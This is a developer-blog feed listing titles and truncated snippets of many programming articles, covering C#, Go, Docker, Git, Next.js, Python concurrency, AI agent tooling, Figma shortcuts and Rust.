    This C# File I/O Quick Reference Guide explores the core classes for handling files and directories. FileInfoand DirectoryInfofor object-oriented access and metadata). The guide also covers Stream classes (StreamReader, StreamWriter, FileStream, etc.) for efficient data handling, along with utilities for path manipulation (Path) and monitoring (FileSystemWatcher). What it is: Static utility class for quick file operations without creating objects. Use: Best for simple, one-time file operations. ReadAllText(path) - Read entire file as string WriteAllText(path, content) - Write string to file (overwrites) AppendAllText(path, content) - Add text to end of file ReadAllLines(path) - Read file as string array (line by line) WriteAllLines(path, lines) - Write array of strings as lines ReadAllB…  ( 12 min )
    Cross-compiling Go Applications
    Cross-Compiling Go Applications: A Comprehensive Guide Introduction Go, or Golang, is renowned for its efficiency, simplicity, and built-in support for concurrency. However, one of its most powerful features, often overlooked, is its seamless support for cross-compilation. Cross-compilation is the process of compiling code on one platform (the build platform) to create executables that run on a different platform (the target platform). This feature is invaluable for developers targeting a wide range of architectures and operating systems, especially in environments like embedded systems, mobile development, and cloud infrastructure. This article delves deep into the world of cross-compiling Go applications, covering prerequisites, advantages, disadvantages, features, and providing practi…  ( 9 min )
    CuraNexus Analytics – Security in Architecture, not Afterthought
    "Security bolted on after development is a band-aid. Security designed in from day one is the foundation." What if I told you that 92% of data breaches could be prevented by embedding security into the earliest design phases, not patching it after deployment? That's the core philosophy behind CuraNexus Analytics, a healthcare and retail data analytics platform I architected from scratch during my Secure by Design (SBD403) subject at Torrens University Australia, under the guidance of Dr. Tanvir Rahman. This was more than an university project, I approached it as a comprehensive security framework that any organization can adapt when building web-based data retrieval applications. Healthcare and retail organizations face a critical challenge: they need to analyze sensitive data across distr…  ( 11 min )
    My Journey With Docker Commands — Simple Tips
    Getting Inside a Running Container When your container is already running, you can access its shell using: docker exec -it bash If the container doesn't have Bash installed, try: docker exec -it sh This lets you debug, inspect logs, check files, or test configurations from inside the container. When Your Container Isn’t Running (or Exits Immediately) When a container won’t start, docker exec won’t work. docker run -it --entrypoint=/bin/bash This forces the container to start with a shell, even if its actual entrypoint fails. Tip: Useful Docker Compose Commands Stop services and remove containers + volumes docker compose -f down -v The -v flag removes volumes as well. Start services in detached (background) mode docker compose -f up -d The -d option keeps everything running in the background so you can continue working.  ( 6 min )
    Automated Data Lineage Solution: A Practical Guide for Modern Data Teams
    Gartner estimates that over 80% of data teams spend more time finding data than analyzing it, largely due to missing lineage, unclear ownership, and manual documentation. As organizations scale their data ecosystems, a robust automated data lineage solution becomes essential—not just for governance, but for analytics accuracy, regulatory compliance, and operational efficiency. Data lineage is no longer a “nice to have.” In modern enterprises with cloud warehouses, diverse data tools, and complex pipelines, manual lineage quickly becomes outdated and unreliable. Automation bridges this gap by continuously tracing data flows across systems, helping teams understand where data comes from, how it transforms, and where it goes. This guide explains what an automated data lineage solution does,…  ( 9 min )
    Week 8 recap: react learning
    This week I hate the specific point in my course the point self learning. So I am exploring React and creating own self project which is my portfolio whose structure is almost complete which includes my hero section, about section and my project section and some section structure is left. InshaAllah by the end of this week that too will be complete and next week we will add state management to it and deploy it. InshaAllah and we will continue our course again.  ( 6 min )
    Open-Weight AI for High-Quality Image Generation & Editing
    If you’re interested in bleeding-edge AI art, creative pipelines, or building tools that generate images programmatically — you should check out FLUX.2-dev. It’s an ambitious and powerful open-weight model by Black Forest Labs that combines image generation and editing — with a focus on consistency, high resolution, and versatility. 🎨 What Is FLUX.2-dev? 32-billion parameter rectified-flow Transformer: FLUX.2-dev uses a latent-space flow-matching architecture (rather than a typical diffusion-based U-Net), offering a fresh approach to text-to-image and image-to-image generation. Unified generation + editing: You can both generate new images from text prompts and edit existing images — or blend multiple references for consistent style, characters or branding. Support for multi-reference …  ( 9 min )
    Git, Beginner to Master!
    Videos for this topic can be viewed on my Youtube channel Everything here is available on Github i'd love a star ;) Terminology used: origin: the default name git gives to the remote repository you cloned from (origin = https://github.com/...) tracked: when git add is used staged: when git commit is used linear: meaning commits follow a linear pattern like A -- B -- C -- D non-linear: meaning commits don't follow a linear order A -- B -- C \ D -- E \ M (merge commit) When applied, this commit with ___. Try and explain everything you do in this format, if its clear and makes the commit! Command: git init Parameters: --initial-branch: sets the initial branch in a newly created repository Description: Creates an empty git repository - bas…  ( 18 min )
    Using Proxy (before Middleware) in Next.js: a modern layer
    Next.js 16 introduces a new file-convention: proxy.js / proxy.ts (often “Proxy”) which supersedes the older middleware.js. This feature allows you to intercept HTTP requests early (before routing/rendering) and run custom logic—redirects, rewrites, header manipulation, or forwarding (proxying) to another service. In e-commerce (or any frontend/back-end scenario) this gives you a powerful tool: you can make your Next.js app act as a Backend-for-Frontend (BFF) layer, hiding upstream APIs, consolidating micro-services, enforcing auth, caching, rewriting URLs, etc. This aligns well with many of the architectures discussed in your referenced articles about Next.js for commerce (SSG/ISR/SSR strategies etc). The Proxy file (proxy.js/.ts) in Next.js is a special server-side file (located in the pr…  ( 9 min )
    What is Benchmark Testing? Benefits, Types, and More
    If you’ve ever played a game on your PC or console, you’re familiar with benchmarking. Think of benchmark testing as running a performance check, not just to see if your app works, but how well it performs compared to a defined standard or previous version. Think of benchmark testing as running a performance check, not just to see if your app works, but how well it performs compared to a defined standard or previous version. Of course, this only scratches the surface of what benchmark testing actually involves, so let’s start at the very beginning. In software and system development, what often separates a good product from a great product is how well it performs. Benchmark testing gives you an objective yardstick to answer questions like: How does my app’s startup time compare to the indu…  ( 11 min )
    LOD 400 vs. LOD 500: Choosing the Right Level of Detail for Your Industrial Fabrication Needs
    Industrial fabrication depends heavily on accurate, well-defined BIM models. Whether you’re planning equipment installation, prefabrication, or site coordination, selecting the right Level of Detail (LOD) in BIM determines the accuracy, cost, and constructability of your project. Two of the most commonly compared LODs are LOD 400 and LOD 500. While they may seem similar, they serve completely different purposes—one for fabrication and installation, the other for facility management and lifecycle operations. This guide breaks down the differences, use cases, and best practices to help fabrication teams, contractors, and facility managers choose the right LOD for their needs. The Level of Detail (LOD) defines how much graphical and non-graphical information a BIM element contains. The common…  ( 8 min )
    We’re Already There: Exocogence Is Here Now
    I. The Ambient Revolution I keep seeing the same moment at work. You’re on a call, someone’s sharing their screen, you toss out a weird angle on the problem. Not wrong, just slightly sideways. They pause, open a new tab, and quietly type your thought—loosely translated—into an AI chat window. They’re not announcing it. They’re not making a point. They’re just… checking. They scan the answer, nod almost imperceptibly, and fold the result back into the conversation. No one reacts. No one debates whether this is allowed. The tool is background, like a calculator or a search bar. The revolution came quietly and nobody objected because it was useful. The silence here isn’t fear. It isn’t uncertainty. It’s acceptance—the kind of acceptance that happens when something crosses the line from “c…  ( 11 min )
    We Upgrade Software Without Question. Why Don’t We Upgrade Ourselves?
    I don’t code. But I spend my days around people who do — the late-night builders, the tab-vs-space philosophers, the “I’ll fix it in 5 minutes” liars (we all know it’s never 5 minutes :P). And being surrounded by them taught me something no self-help book ever has: Software updates constantly. And that… makes no sense. 💻 In tech, upgrades are NORMAL. Expected. Celebrated. If a framework updates every 3 weeks? If a library is deprecated? If you say “we’re rewriting everything”? If code breaks? But in life? If you say: scary emotional dramatic intimidating “what if people don’t like the new me?” Imagine running your personal life the way tech people run their codebases: iterate fast admit flaws patch weaknesses push updates remove what no longer works improve what does stop supporting old v…  ( 8 min )
    GraphBit's Memory Efficiency Techniques: Code-Backed Strategies for Optimization
    Below is a concise, code‑verified summary of GraphBit’s memory efficiency techniques, with short excerpts and file paths. 1) Memory‑optimized executor profile Purpose: run in constrained environments with reduced footprint by lowering concurrency and disabling extras. Rust executor profile: /// Create a workflow executor optimized for memory usage pub fn new_memory_optimized() -> Self { let concurrency_config = ConcurrencyConfig::memory_optimized(); let concurrency_manager = Arc::new(ConcurrencyManager::new(concurrency_config)); Self { /* smaller pre-allocs, conservative settings */ } } Python binding (lower concurrency, disable metrics): fn new_memory_optimized(..) -> PyResult { let mut config = ExecutionConfig { `mode: ExecutionMode::MemoryOptimized,` `max_concurrency: S…  ( 7 min )
    Why Indian Temples Need Digital Solutions: A Tech Perspective
    As developers, when we talk about “digitization,” we usually think of startups, enterprise systems, or e-commerce. But temples face the same kind of operational challenges that businesses do—sometimes even more complex because they serve large crowds in a very short time. This post explores, from a technical viewpoint, why Indian temples benefit from digital solutions and what kind of systems can help them run more smoothly. *1. Cashless Donations Are Now the New Normal The shift toward digital payments in India is massive. UPI is everywhere—from large stores to roadside tea stalls. Devotees visiting temples often prefer digital payments simply because: They may not carry cash They want instant receipts They want transparency From a tech perspective, this means temples can adopt: QR-based…  ( 8 min )
    10 Figma Shortcuts You Must Know (2025 Edition)
    Speed matters — especially when you're designing in Figma. Whether you're working on UI screens, illustrations, or prototypes, the right shortcuts can save minutes on every task (which adds up fast). Here are 10 essential Figma shortcuts every designer should know. Shortcut: Ctrl + D (Win) / Cmd + D (Mac) Perfect for quick creation of repeated elements without breaking your design rhythm. Shortcut: Ctrl + \ (Win) / Cmd + \ (Mac) Hides Figma’s side panels so you can focus on your canvas without distractions. Shortcut: Ctrl + Alt + G (Win) / Cmd + Option + G (Mac) Frames selected layers instantly—super useful when organizing components and layouts. Shortcut: Ctrl + Shift + O (Win) / Cmd + Shift + O (Mac) Converts strokes to outlines. Helpful when exporting assets or preparing SVGs. Shortcut: Shift + 2 Immediately centers and zooms to whatever layer you selected. Shortcut: Enter Select a layer and hit Enter to rename it instantly. Get those layers clean. Shortcut: Alt + drag Makes a clean duplicate right where you want it — perfect for layout grids. Shortcut: Ctrl + ' (Win) / Cmd + ' (Mac) See exactly how your design will look on real screens at pixel level. Shortcut: C Switch to comment mode instantly — great for collaborative design reviews. Shortcut: Ctrl + Alt + K (Win) / Cmd + Option + K (Mac) Turns any UI element into a component. Essential for building scalable design systems. Shortcuts aren’t just about speed — they reduce cognitive load and help you stay in a creative flow. Master these 10, and you’ll feel a massive productivity boost in your Figma workflow. If you want a part 2 with auto-layout shortcuts, prototyping shortcuts, or hidden Figma tricks, let me know!  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a snark-filled breakdown by CinemaSins, where they gleefully log every nitpick and plot hiccup in the KPop Demon Hunters movie. The video description points you to their main site for more content, asks you to fill out a quick poll, and invites you to support the team via Patreon. The post also credits their writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and drops links to all their socials: YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), Discord, Reddit, Instagram, TikTok and even Jeremy’s book! Watch on YouTube  ( 6 min )
    Rust Hello World: The Hard and the Smart Way
    How do we make a Hello World in Rust?? If you prefer watching over reading, you can watch the video version of this bootcamp segment right here: The first thing you should do is install Rust. You should end up on a page that guides you through using rustup, which is an excellent tool for managing Rust versions. To verify your installation, type rustc --version in your terminal. Rust is a compiled programming language. rustc is the compiler, and cargo is the package manager. If you have both of these, you are good to go. We will start with a very simple "Hello, World!" because this step is very important to understand what happens behind the scenes. This approach uses rustc directly. This is something you usually don't see in tutorials, but it helps to understand what automated tools do for…  ( 7 min )
    🧠 Understanding Variance in TypeScript & Flow: Covariant, Contravariant, Invariant, Bivariant
    Hi everyone! I’m @nyaomaru, a frontend engineer who quietly moved to the Netherlands. 🇳🇱 If you write TypeScript, you’ve probably bumped into the term “variance” at some point: covariant contravariant invariant bivariant You may have a vague feeling of “I sorta get it… but not really.” Personally, I struggled especially with contravariance and bivariance — they’re really counter-intuitive. And when I tried to deep-read React’s type definitions, I ran into Flow’s variance annotations +T / -T and completely froze: export type Element = React$Element; export type RefSetter = React$RefSetter; “What are + and -!?” React using this in Flow!?” That was the entrance to understand variance for me. In this article, I’ll use both TypeScript and Flow to build a practical, real-world u…  ( 15 min )
    Building a Gasless Marketplace on Polygon with x402 Protocol
    Have you ever wanted to build a marketplace where users can buy and sell products using stablecoins without worrying about gas fees? In this article, I'll walk you through how I built Polygon x402 Marketplace, a gasless peer-to-peer marketplace using the x402 protocol on Polygon Amoy. Traditional blockchain marketplaces have a major UX problem: users need to hold native tokens (like MATIC) just to pay for gas fees. This creates friction because: New users need to acquire native tokens from exchanges first Users must manage multiple token balances Gas prices fluctuate, making transaction costs unpredictable The x402 protocol enables gasless USDC transfers by using EIP-712 signatures and a facilitator network. Users only need USDC in their wallet to participate in the marketplace - no native…  ( 8 min )
    Configuring Playwright MCP Like a Pro: Custom Headers, Cookies, and Smarter Agents
    How can you use Playwright MCP more effectively? How can you handle login scenarios? And how can you run Playwright MCP using your own browser profile? I hope this article helps answer questions like these :) Enjoy reading! We use Playwright MCP, but are we really using it efficiently? Does it cover all our cases? After finding myself thinking things like “It doesn’t support this” or “I don’t think it can do that,” I realized the real issue was that I wasn’t configuring it correctly. With proper configuration, I discovered that it can actually solve all of my problems. In this article, we’ll look at how to use MCP more effectively through the configurations we can provide. (You can find even more details in the link.) With a config.json file you create, you can provide most of the setting…  ( 9 min )
    Python Concurrency: A Guide to Threads, Processes, and Asyncio
    Your Python script needs to do multiple things at once to be faster. But how? Python offers a rich but sometimes confusing landscape of concurrency and parallelism tools. Should you use threads, processes, or asyncio? Choosing the right tool for the job is the key to writing efficient, scalable code. This guide will walk you through the three main concurrency models in Python, explaining what they are, how to use them, and when to choose each one. concurrent.futures For traditional, blocking code, Python's concurrent.futures module provides a beautiful, high-level API for managing pools of threads and processes. It introduces the "Executor" pattern, where you submit jobs to a pool and retrieve the results. ThreadPoolExecutor: For I/O-Bound Work When to use it: When your task spends mos…  ( 8 min )
    The Future of Developers with AI
    The Future Belongs to Those Who Talk to Machines, Not to Those Who Code Them 🧠 The Dawn of a New Era: Redefining Developer Power For many years, the quintessential symbol of technological influence was a lone programmer, their face bathed in the glow of endless lines of code. Possessing an innovative concept meant relying on them—they acted as the indispensable interpreter, architect, and steward of digital innovation. Without their profound grasp of machine languages, aspirations stayed firmly in the realm of imagination. However, this long-standing paradigm is now rapidly drawing to a close. Consider a future where the most sought-after capability isn't proficiency in Python, PHP, or JavaScript, but rather an exceptional command of... natural language. What if your capacity for clarity,…  ( 17 min )
    TikTok Search Optimization: How to Rank When Gen Z Ditches Google
    Something weird happened while we were all busy optimizing for Google. Gen Z stopped using it. Not entirely, obviously. But here's the thing: 40% of young people now use TikTok or Instagram as their primary search engine. Not for everything, but for restaurants, product recommendations, how-to tutorials, and basically anything where they want real human opinions instead of SEO-optimized listicles from 2019. Google's own data confirmed this in 2024. Which must have been a fun meeting. So now TikTok isn't just a platform where people do dances and share life hacks. It's a legitimate search destination with its own ranking factors, optimization strategies, and yes—an algorithm you need to understand if you want anyone to actually find your content. Let's talk about how to rank on a platform t…  ( 13 min )
    Beyond Function Calling: Introducing Advanced Tool Orchestration on the Claude Developer Platform
    The future of AI agents relies on their ability to seamlessly and efficiently integrate with vast libraries of tools—from internal databases and company-specific APIs to public services like GitHub and Slack. As professional developers, we know that scaling an agent from five tools to fifty or five hundred introduces critical bottlenecks: context bloat, slow execution, and unpredictable tool invocation. To solve these challenges, we are excited to introduce three advanced features on the Claude Developer Platform that fundamentally change how agents discover, orchestrate, and utilize external capabilities. These features move Claude from simple sequential function calling to intelligent, programmatic orchestration. When building agents that connect to many services (e.g., a five-server MCP…  ( 9 min )
    Decoding Movement: Emulating Biological Motion for Smarter Robots
    Decoding Movement: Emulating Biological Motion for Smarter Robots Ever watched a cat effortlessly navigate a complex environment and wondered how to program a robot to do the same? We're constantly striving to create robots with the agility and adaptability of animals, but the traditional approach of programming every joint movement is incredibly complex and often fails in unpredictable situations. What if robots could learn to move, not just follow pre-defined paths? This is where neuromechanical emulation comes in. The core idea is to build a virtual model of an animal's body, connect it to a simulated nervous system controlled by a neural network, and then train that system to reproduce real-world movements captured from motion capture data. It allows AI agents to learn motor control …  ( 7 min )
    Welcome Thread - v353
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself. Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 6 min )
    Want To Write As A Coder? Start With TIL Posts
    I originally posted this post on my blog a long time ago in a galaxy far, far away. If you want to start a coding blog, don't start with a deep dive of the Linux Kernel or other cryptic topics—unless you're an expert on those topics. TIL posts are shorter posts where you share something you've found or figured out. With TIL posts, you don't have to worry about long introductions or conclusions. Just write a good headline, a code block, a quick explanation, and your sources. And write using your own words, like in a conversation with a coworker. That's enough to make a post worth reading. Don't try to lecture the coding world about what they should do. Start documenting your learning instead. Instead of writing "5 VS Code extensions every coder should install," try "TIL: 5 VS Code extensions I couldn't avoid installing." Or instead of "5 Git commands every coder should know," covering the same basic Git commands every beginner writes about, write "TIL: 5 Git basic commands to use everyday" or "TIL: How Git Status works." Spent 20 minutes or more figuring out something? write a TIL post. That's the easiest way to start a coding blog. Apart from coding, writing has been one of the best skills I've developed as a coder. It's taught me to research, organize, and present ideas clearly. That's why I made it one of the strategies in my book, Street-Smart Coding: 30 Ways to Get Better at Coding. It's the guide I wish I had when I was starting out, trying to go from junior to senior. Get your copy of Street-Smart Coding here  ( 7 min )
    Make & Makefiles: A Modern Developer's Guide to Classic Automation
    Introduction In an era of complex build systems and framework-specific tooling, there's a compelling case for revisiting Make—a build automation tool that has quietly powered software development since 1976. Despite its age, Make remains remarkably relevant for modern development workflows, from React applications to containerized microservices. This blog helps you to understand why Make deserves a place in your development toolkit and how to leverage it effectively in contemporary projects. Every development team faces the same fundamental challenge: managing increasingly complex build and deployment processes. Consider a typical React application workflow: Installing dependencies across multiple directories Running development servers with specific configurations Executing test suites …  ( 9 min )
    Why You Should Use Panic Instead of Fatal for Cleanup
    When writing code in Go we often run into errors that are critical. These are errors that mean our application cannot continue running. To handle these we usually look at two options. We can use panic or we can use log.Fatal. They both stop the application but they do it in very different ways. The main difference is how they treat the defer function. When you use log.Fatal the application stops immediately. It calls a system function called os.Exit(1). This is a hard stop. The program does not look back and it does not run any cleanup code. Let us look at a standard example. Imagine we are connecting to a database in our main function. We want to make sure the database connection closes when the app stops. package main import ( "fmt" "log" ) func main() { fmt.Println("1. Ope…  ( 7 min )
    great postcast
    The Agent Factory podcast: 5 Episodes to Kickstart Your Journey to Production AI Shir Meir Lador for Google AI ・ Nov 25 #agents #architecture #beginners #ai  ( 6 min )
    Agents 101 — Build and Deploy AI Agents to Production using LangChain
    Learn how Langchain turns a simple prompt into a fully functional AI agent that can think, act and remember. AI agents are no longer futuristic ideas locked inside research labs. Today, you can build one that reasons about questions, calls real tools, remembers past messages, and responds with a consistent structure. LangChain makes this possible. It offers a framework that blends language models, Python functions, prompts, and memory into a single workflow. In this tutorial, we will guide you through the process of creating a fully functional agent from scratch. We will shape it into something that feels less like a script and more like a teammate that can think, act, and adapt in real time. You can use this Google Colab notebook to follow along with the examples in this article. Think of…  ( 15 min )
    🔌The Magic of MCP Servers: Unlocking Infinite Context for AI
    🚀 What is an MCP Server? Think of an MCP Server as a "Universal Translator" between your data and AI models. With MCP: You build an MCP Server once. It exposes your data (Resources), actions (Tools), and templates (Prompts). Any MCP-compliant client can connect to it instantly The beauty of this protocol is its interoperability. An MCP Server doesn't care who is asking for the data, as long as they speak "MCP". Supported Clients include: Claude Desktop App: Connects locally to read your files or query databases while you chat. VS Code (with Extensions): Allows your IDE to "see" external documentation or server logs to help you code better. Zed Editor: Fast, AI-powered coding that leverages your custom MCP tools. The connection is surprisingly simple. It usually happens over stdio (stand…  ( 7 min )
    Why Running AI Locally Is More Demanding Than You Think: Inside the Hardware Strain
    Running AI models locally on consumer devices is increasingly popular but often underestimated in terms of hardware demands. The reality involves far more than just having a powerful GPU it requires a finely tuned system to handle the intense computations, data flow, and thermal challenges. GPU: The Computational Powerhouse GPUs are the cornerstone of AI workloads, performing billions of parallel calculations per second. High end GPUs like NVIDIA’s RTX 4080, 4090, or 5090 are favored for local AI due to their vast VRAM (16GB or more) and Tensor Cores optimized for AI tasks. However, even these powerful cards face limits when running large models or generating long outputs, pushing utilization near 100% and maximizing power consumption. CPU: The Unsung Coordinator While the GPU does the…  ( 7 min )
    The AI Gold Rush's Dirty Secret: Why OpenAI Loses Money on Every Customer
    Or: How to Build a Money Incinerator and Call it "Disruption" There's something deliciously absurd happening in Silicon Valley right now. OpenAI, the company that kicked off the generative AI revolution, has achieved something remarkable: they lose more money on their paying customers than on their free users. Let me say that again louder for the VCs in the back: The $200/month ChatGPT Pro subscribers are MORE unprofitable than the freeloaders. (Because Math is Hard) In the first half of 2025, OpenAI managed to: Collect $4.3 billion in revenue Post a net loss of $13.5 billion Lose roughly three times more than they earned WeWork's Ghost Haunts Silicon Valley (Again) WeWork didn't fail because of Adam Neumann's cult leadership alone. It failed because it sold a softwa…  ( 11 min )
    I Built a 'Sudo' Command for AI Agents (and Why You Need It)
    Earlier this year, during a test run for Replit, an autonomous AI agent accidentally deleted a live production database containing sensitive data from more than 1,200 companies and executives. Multiple outlets reported the same story: The agent “ran unauthorized database commands” This incident made something very clear: We are giving AI agents root access to our most sensitive systems, and we have zero guardrails in place. And yet… companies are deploying these agents into production Right now, when you deploy an AI agent, it typically uses a single API key with God-mode access: # How most AI agents work today STRIPE_API_KEY = "sk_live_..." # Root access to EVERYTHING agent.charge_customer(1000000) # Any agent can do ANYTHING agent.delete_database() # No permission checks agent…  ( 9 min )
    How can developers create and manage custom popup views in HarmonyOS?
    Read the original article:How can developers create and manage custom popup views in HarmonyOS? Context Popups are small UI elements that show extra information or tips. They are often used for screen recording, tooltips, or simple notifications. In HarmonyOS, developers can create basic popups with PopupOptions, or fully customized ones using CustomPopupOptions and the @Builder function. Description Standard popups are limited in layout and design. If you need a more flexible popup (for example, with images, custom text layout, or styles), you can create a custom popup using the builder function. There are some important rules when using popups: You can only show a popup after the page is fully built. Showing it too early may cause position or shape issues. You can control the popup’s bac…  ( 7 min )
    The Day I Learned Why Dev Environments Exist 🤯
    So… this was actually my first time dealing with a situation like this. That’s when I realized: Before building that dev environment, I paused for a moment to review my production setup. Basically, my production environment runs on Google Cloud Platform (RESTful API, database, storage) and Netlify (frontend deployment). Here’s the simplified architecture: Frontend (Vue.js) → Deployed on Netlify as a static web app 🌐 RESTful API (Flask) → Built with a Dockerfile 🐳 and deployed to Google Cloud Run File Storage 📄 → I use Google Cloud Storage to store user-uploaded documents (like invoices, etc.), organized into several folders based on category 🔐 Database (MySQL) 🗄️ → Hosted on a Compute Engine VM 🖥️ So yeah... production worked. It served real users. But that also meant I had to be careful. At first, I had no idea where to start, so I explored, asked around, and slowly pieced everything together. Here’s how the journey played out 👇 The first thing I had to do was duplicate my production SQL database. # 1. Export production database mysqldump -u root -p app_prod > app_prod_backup.sql # 2. Create a new dev database mysql -u root -p -e "CREATE DATABASE app_dev;" # 3. Import production data into the new dev database mysql -u root -p app_dev < app_prod_backup.sql main 🌿 I knew enough to not touch production code directly. It became my sandbox, my first real “safe space” to test anything I wanted. This part felt like a milestone. Now dev had its own backend service, completely isolated. Next, I updated the environment variables so the dev backend pointed to the dev DB. Then came the storage problem: Yup. After that, I switched the backend to use the dev bucket. Of course, the frontend also needed to point to the new dev API URL. Once everything was separated—DB, bucket, Cloud Run, branch—it felt so good. And honestly? Do you think this setup is on the right track? I’m open to any insights or best practices that could make it even better 🚀✨  ( 8 min )
    Ecommerce Mobile App Development Cost: Complete Pricing Guide 2025
    Ecommerce mobile app development cost is a critical factor for businesses looking to establish or expand their digital presence. From feature complexity to design quality and backend infrastructure, understanding cost drivers helps companies budget effectively and avoid unexpected expenses. This comprehensive guide by TOT explores pricing structures, key cost factors, and actionable strategies to maximize ROI while building a competitive e-commerce platform. The type of e-commerce app you choose significantly impacts development complexity and overall investment. Single-brand apps like Nike or Sephora focus on direct-to-consumer sales with personalized shopping experiences, loyalty programs, and streamlined product discovery. These apps manage a single seller and inventory source, making …  ( 12 min )
    Refactoring the Audio Pipeline: From Latent Space to Production
    The history of music production is essentially a history of abstraction. We transitioned from capturing physical acoustic vibrations to manipulating voltage on analog tape, and then to manipulating bits in Digital Audio Workstations (DAWs). Each step abstracted the underlying physics, allowing creators to focus more on composition and less on the medium itself. To understand the workflow shift, it is necessary to understand the underlying architecture. Unlike traditional MIDI sequencers that trigger pre-recorded samples, modern generative audio tools often rely on Diffusion Models and Transformers. Spectrogram Analysis: Models are typically trained not on raw waveforms, but on spectrograms (visual representations of the frequency spectrum). Denoising Process: Much like image generation, au…  ( 9 min )
    9 Nano Banana Pro Use Cases That Will Blow Your Mind
    You know, I wrote about Nano Banana just a month ago, and at the time it already felt like a small creative superpower. But things have changed fast, and now we have Nano Banana Pro as a completely different beast. It's built on Gemini 3 Pro, and in the last three days, I've been testing it obsessively. Not to see whether it can make pretty images, since we've had enough of that, but to see whether it can actually do something meaningful. I was finding use cases ranging from diagrams that make sense, to infographics that understand the topic, layouts that look like they came from a design team, and even merged scenes that stay coherent instead of collapsing into chaos. And finally, in this post, I'm breaking down the exact use cases and real-world examples that turn Nano Banana Pro from a …  ( 14 min )
    PWC 349 More complex than it has to be
    PWC 349 Task 2: Meeting Point Musical Interlude We're going deep cut from the classic Blood on the Tracks album by Bob Dylan, Meet Me in the Morning You are given an instruction string made up of U (up), D (down), L (left) and R (right). Write a script to return true if following the instructions, you meet (0,0) at any point along the sequence. Example 1: Input: $path = "ULD" Output: false U -> (0,1), L -> (-1,1), D -> (-1, 0) Example 2: Input: $path = "ULDR" Output: true U -> (0,1), L -> (-1,1), D -> (-1, 0), R -> (0,0) Example 5: Input: $path = "RRUULLDDRRUU" Output: true RRUULLDD -> (0,0), RRUU -> (2,2) The first thought is emulate the movement on the grid and see if we end up at (0,0). A clever thought arises: to end up back where we began, every Up must …  ( 8 min )
    Top 10 Best Web Agency Offshore for Global Businesses (2025)
    A web agency offshore is a professional development firm located in a different country than the client's business, specializing in web design, development, and digital transformation services. These agencies leverage global talent pools to deliver cost-effective solutions without compromising quality. Modern offshore web agencies offer comprehensive services including: Custom website design and development with responsive UI/UX E-commerce platform development and sales management systems Mobile application development (iOS, Android, cross-platform) Web application development and modernization API integration and system connectivity Content Management System (CMS) implementation Digital transformation consulting UI/UX optimization and Conversion Rate Optimization (CRO) Website performanc…  ( 10 min )
    Bikin Blog Super Cepat & Gratis dengan Hugo (Bye-bye WordPress!)
    Masih pakai platform blogging yang berat dan harus bayar hosting bulanan? Mungkin ini saatnya kamu kenalan sama Hugo. Hugo adalah Static Site Generator (SSG) yang lagi naik daun banget. Kenapa? Karena dia cepat, aman (nggak ada database yang bisa diretas), dan bisa di-hosting gratis di GitHub Pages atau Cloudflare Pages. Di artikel ini, saya mau share cara singkat bangun blog impian kamu pakai Hugo. Yuk, gas! 🚀 Sebelum mulai, pastikan di laptop kamu sudah terinstall: Git (Wajib buat version control). Code Editor (VS Code sangat disarankan). Hugo (Tentu saja). Buat pengguna Windows, cara paling gampang pakai Chocolatey. Buka terminal (Run as Admin): choco install hugo-extended -confirm Buat pengguna Mac (Homebrew): brew install hugo Cek apakah sudah sukses dengan ketik hugo version. …  ( 7 min )
    Weighted Shortest Job First (WSJF) – A Practical Method for Prioritizing Backlogs
    Prioritizing a backlog can be one of the hardest challenges for any team. Every task, feature, or improvement can feel urgent and important, and without a clear method, teams risk spending time on work that delivers little value. Conflicting opinions, shifting priorities, and long lists of tasks can make it difficult to know what to tackle first. Weighted Shortest Job First, or WSJF, provides a structured, data-driven approach to this problem. It allows teams to measure the value of work relative to the time or effort required to complete it. By doing so, WSJF highlights the items that will deliver the most impact in the shortest time, helping teams focus on what truly matters. This article explains what WSJF is, how it works, and how teams can apply it effectively. It will guide you throu…  ( 11 min )
    General Delta Quantization Mechanism
    Any dynamic update (extension) technique essentially defines a Delta space and the feasible structural composition operations within that space. On reflection, what most people call dynamic updates is nothing more than defining extension points on an already constructed structure and then inserting structures that conform to interface specifications into those points. The complexity of implementing dynamic Delta updates lies in the following three aspects: How should extension points be designed to satisfy unknown Delta update requirements? How can externally introduced Delta structures be seamlessly integrated with the original structure? How can we ensure runtime state consistency before and after Delta updates? Beyond the above three points, we can also ask ourselves: since all b…  ( 8 min )
    Java String trim() Explained: Clean Your Strings Like a Pro
    **Java String trim() Explained: Stop Whitespace from Ruining Your Code Let's be real. We've all been there. You're building a slick login form, a search bar, or just trying to compare two pieces of text in your Java code. Everything looks perfect, but your conditionals are failing, your user authentication is flaky, and you're spending hours debugging, only to find the culprit... a sneaky little extra space. "username" is not equal to "username ". Frustrating, right? This is where one of Java's most simple yet powerful string methods comes to the rescue: trim(). In this deep dive, we're not just going to skim the surface. We're going to tear the trim() method apart, see how it works, when to use it, what its limitations are, and what the cooler, modern alternatives are. By the end of thi…  ( 11 min )
    How to Implement a Visual Word Template Similar to poi-tl with 800 Lines of Code
    poi-tl is a Word template engine based on the Apache POI project. Compared to manually programming POI objects to construct Word documents, poi-tl can use ordinary Word files as base templates and replace custom tags within them to generate output files, thus achieving a certain degree of visual design. For example, tags are marked in the template using the {{xxx}} form. Then, during execution, by passing in some control rules and data objects, the output file can be obtained: LoopRowTableRenderPolicy policy = new LoopRowTableRenderPolicy(); Configure config = Configure.builder() .bind("goods", policy).bind("labors", policy).build(); XWPFTemplate template = XWPFTemplate.compile(resource, config).render( new HashMap() {{ put("goods", goods); put("la…  ( 15 min )
    Engineers, Managers, and Spreaders
    Background Engineers vs Managers We engineers want to focus on engineering. It would be great if we only had to deal with engineering, but that's not the reality. For more than 50 years, another role, "manager," has been considered indispensable. Unless you have a team of exceptionally talented individuals or work in an advanced organization like a Teal organization, you will need both engineers and managers. However, because their roles are inherently different, they often clash. Here's a discussion I find intriguing: Maker's Schedule, Manager's Schedule Recently, I've realized there is a third domain that neither engineers nor managers can fully cover. For instance, the concept of a Glue Worker is quite clear, and senior positions like staff engineers have already become wel…  ( 10 min )
    I Built a Modern Compiler in Rust: Meet Lamina
